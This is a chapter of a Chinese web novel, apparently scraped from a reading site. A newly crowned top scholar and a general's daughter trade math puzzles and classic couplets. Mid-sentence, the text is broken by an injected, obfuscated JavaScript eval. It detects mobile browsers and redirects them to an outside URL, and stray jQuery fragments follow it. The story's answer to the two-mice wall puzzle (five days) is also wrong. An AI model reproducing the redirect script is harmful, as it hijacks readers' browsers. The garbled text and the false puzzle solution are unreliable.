默认冷灰
24号文字
方正启体

8. 008 彼此了解

作者:盛世清歌本书字数:K更新时间:
    一听到她再次的转折,还有熟悉的“不过”二字,林慕远再次紧张起来,生怕再听见一通嘲讽。


    严令蘅看着他这一副如临大敌的模样,好似猫受惊时,浑身的毛都炸起来了,肉眼可见的警惕,她忍不住轻笑出声。


    “林状元无需担心,方才快棋乃是我的擅长之处,这次换成你的便是,小玩一把。听闻状元郎于经义、算学尤为精通,小女子这里恰好有一题,还请赐教。”她笑意吟吟地询问,语气也十分温和,完全不见之前带刺的模样,显然正如她所言,小玩一把而已,充满了善意。


    林慕远听闻此言,不禁长舒一口气,算术确实是他所长。


    他自幼便对数字极为敏感,在算学上下过苦功,这也是他能在科举中脱颖而出的关键之一。方才棋艺惨败的阴霾,瞬间被冲淡了不少,一股久违的自信他眼中燃起。


    他觉得自己又行了。


    “严姑娘请讲。”林慕远轻咳了一声,不禁抬头挺胸,“林某虽不才,但愿尽力一试!”


    看着他这副意气风发的模样,严令蘅又想故意找些难题打他的脸了,但终究还是忍住了。


    算了算了,毕竟这位状元郎她挑中的未来夫君,这次是为了结亲,而不是结仇。再这么暴揍下去,只怕这位新科状元要被刺激过头,一蹶不振了。


    她慢条斯理地开口:“今有垣厚五尺,两鼠对穿。大鼠日一尺,小鼠日一尺。大鼠日自倍,小鼠日自半。问几何日相逢?各穿几何?”


    林慕远精神一振,此题虽涉及变量,但正是他擅长的类型。他立刻凝神思索,手指无意识地在石桌上比划计算起来。


    片刻后,他抬起头来,口齿清晰地答道:“相逢需五日。大鼠穿垣三尺一寸七分五厘,小鼠穿垣一尺八寸二分五厘。”


    严令蘅的眼中闪过几分赞许,的确是有真才实学,计算得又快又准。


    “不愧是状元郎,才思敏捷,该你出题了。”她的语气丝毫不露怯,虽说她不考功名,但现代教育也不是白学的,她的数学同样不差。


    林慕远略一思索,也出了一道难题:“今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问物几何?”


    此题一出,严令蘅心中大定。还好,这是经典的‘物不知数’问题,解法她都知道。


    她假意思索片刻,便从容答道:“此乃应用了‘孙子定理’。最小解为二十三,可对?”


    林慕远眼中闪过一丝惊讶,点头道:“严姑娘果然博学。”


    经过之前三盘棋局的惨败,他丝毫不敢轻视眼前这位严姑娘,只是他没想到在这种难题之下,她竟然答得如此流畅,丝毫不迟疑。


    要知道哪怕是他许多同窗故交,面对此种题型都折戟沉沙了。此刻严令蘅如此淡然答题的风采,完全不像是个闺阁少女,好似是他的同期,他竟真的生出几分比试的心思,就在算术上一决高下。


    “轮到严姑娘出题了,不知可还有更难的题目?”他迫不及待地开口,明显那股势均力敌的竞争劲儿上来了,眼神亮得惊人。


    严令蘅看着他这副被激起好胜心的模样,心中警铃大作。


    更难的?


    她脑子里确实还装着几道前世看过的难题,足以让他抓耳挠腮,比如那道著名的“鸡兔同笼”升级版,或者更变态的“水池进水出水”问题。


    不过现在可不是好时候,一股脑都倒出来,的确可能为难住他,但之前已经打压过他了,就无需再继续了。


    况且她出完题,也得回答他的问题,万一后面翻车怎么办?还是见好就收吧。


    “我这里的确还有几道难题,不过需用时长久,只怕不能尽兴。好饭不怕晚,若是有缘,下回再解题如何?”她摇了摇头,拒绝了他的提议。


    挫完锐气,自然要想办法收服他。


    大费周章半晌,可不是为了耍着他玩儿的,而是要把他抓紧掌心里,抽了他的傲骨,之后自然要怀柔,这会儿适合放点饵料了。


    林慕远一愣,这才惊觉时间的流逝,他下意识看向亭外天色,所剩的时间的确不够解决难题了,忍不住舒了一口气,也不知道是遗憾,还是放松。


    “这局赌约——”他咽了咽口水,略有些紧张的询问。


    严令蘅捕捉到他眼中的忐忑,唇角微扬,心中怡然自得。


    瞧瞧,原本还龇牙咧嘴,如同下山猛虎一般的状元郎,此刻在她面前也变成了柔软小花猫,完全看她的眼色行事,局势已然牢牢被她掌控。


    不过这还不算完,制住一个男人,不代表会产生情愫,这会儿的林慕远对她更多的是小心谨慎,甚至还有几分发怵。


    这可不好,还没人哄到手,就让他害怕自己,只会增加他入赘的难度,必须得把这只金丝雀关进笼子里,才能对他露出真实面目。


    “罢了,今日能与状元郎对弈论学,已是幸事。赌约之事,点到为止,以我们平局收场,你看如何?”


    林慕远简直不敢相信自己的耳朵,这就作罢了?


    严令蘅看着他震惊的表情,莞尔一笑:“状元郎不必惊讶。方才那般,不过是气你之前的无礼之言罢了。如今误会解开,赌约自然点到为止。离御街夸官尚有些时辰,状元郎不妨在此稍坐片刻,饮杯清茶,定定神。方才,实在是闹得不像话。”


    她苦笑了一下,显然是想起方才的争执,好似觉得有些过头了。


    林慕远此刻的心情,如同坐过山车般大起大落。他看向严令蘅的眼神,也充满了难以言喻的复杂情绪。


    这位严姑娘,行事当真出人意表,如同她的棋艺一般,让人难以捉摸,却又隐隐佩服。她既能以雷霆手段打压他的傲气,又能以春风化雨之势化解干戈,最后还如此平和地结束了赌约。


    而从她方才那番话,就不难听出,她实际上还有很多难题没出,只是点到为止,不想为难他罢了。


    他连忙点头,略显激动:“严姑娘果然深明大义,林某今日受益匪浅,大开眼界!”


    气氛逐渐变得融洽起来,春日的微风拂面,让人心旷神怡。


    严令蘅端起茶杯,轻轻吹了吹浮沫,状似随意地开口:“林状元于算学一道,造诣精深,令人叹服。不知于对句一道,可有心得?小女子近日偶得几联上句,苦思不得下句,不知状元郎可否


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262383|182115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赐教?”


    林慕远精神一振,这也是他所长,顿时来了兴趣:“严姑娘请讲,愿闻其详。林某闲暇时分经常与同窗对句,还算擅长。”


    严令蘅等得就是这句话,网上至今还有不少千古绝对,始终没有对出完美的下联,因此她很好奇,这三年出一个的文状元,能不能给出完美的答案来。


    她微微一笑,缓声说出最经典的上联:“烟锁池塘柳。”


    此联五字偏旁暗含金木水火土五行,且意境优美,是著名的千古绝对,难度极高。


    林慕远思索良久,试探地开口:“炮镇海城楼?”


    刚一出口,他自己便摇头失笑,“不妥不妥,意境太过肃杀,与上联幽静的意境不符,且平仄稍欠工整。严姑娘此联,果然精妙绝伦,林某才疏学浅,一时竟对不上来。”


    他非但没有因为对不出而懊恼,反而真心实意地夸赞她。


    严令蘅微微一笑:“状元郎过谦了,此联本就难对。第二联,画上荷花和尚画。  ”


    她话音刚落,林慕远就眼前一亮,此联正反读皆同音。


    他踌躇片刻,才道:“书临汉帖翰林书?”


    念完又仔细推敲,最终无奈摇头,忍不住轻叹一口气:“虽勉强可对,但意境终究差了些。唉,严姑娘博闻强识,林某自愧不如。若你是男儿,参加科举必然也能金榜题名。”


    他看向严令蘅的眼神,不仅仅是尊重,更是带上了几分敬佩。


    一被困在内宅的女子,能有这样的才华和见识,当真是令人咋舌。


    原本他在此次科举中拔得头筹,当上一甲第一名状元,心中只觉得豪情万丈。虽不至于骄傲自满,但也有几分“一览众山小”的状态,如今在这位严姑娘面前,竟生出些许望其项背的心思。


    严令蘅心中暗爽,面上却只浅浅一笑:“状元郎过誉了,不过是闲暇时听来的罢了。”


    从这两个对子之中,她倒是体会到文抄公的爽点了,只不过毕竟不是她的真才实学,还是不好意思居功,免得之后露馅。


    林慕远微微摇头,仿佛仍沉浸在某种震撼之中:“以往林某只知埋首做学问,自诩寒窗苦读,略有寸进。直至今日得遇严姑娘,方知何为天外有天,人外有人。”


    他的目光扫过棋盘,又看向严令蘅,语气真诚地赞叹道:“严姑娘棋艺通神,布局精妙,杀伐果断,林某输得心服口服。算学一道,你所出之题,皆精妙绝伦,发人深省,令林某亦觉酣畅淋漓。而对句之精妙,也是如此。”


    他顿了顿,语气变得更加郑重:“更难得的是,严姑娘心胸开阔,见识广博,待人接物之体贴,皆远非寻常人所能及。姑娘若是男儿身,只怕能将军府也能出个文状元。林某今日,当真是心服口服。”


    这番话,他说得情真意切,没有丝毫阿谀奉承之意,完全是发自肺腑的感受。


    眼前的女子,在他心中已然从一个“仗势欺人的将门贵女”,变成了一个智计无双,又通情达理的奇女子。那份因被强行掳来而生出的抵触和愤怒,早已烟消云散,取而代之的是一种混合着敬佩、感激,甚至还有一丝难以言喻的向往。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)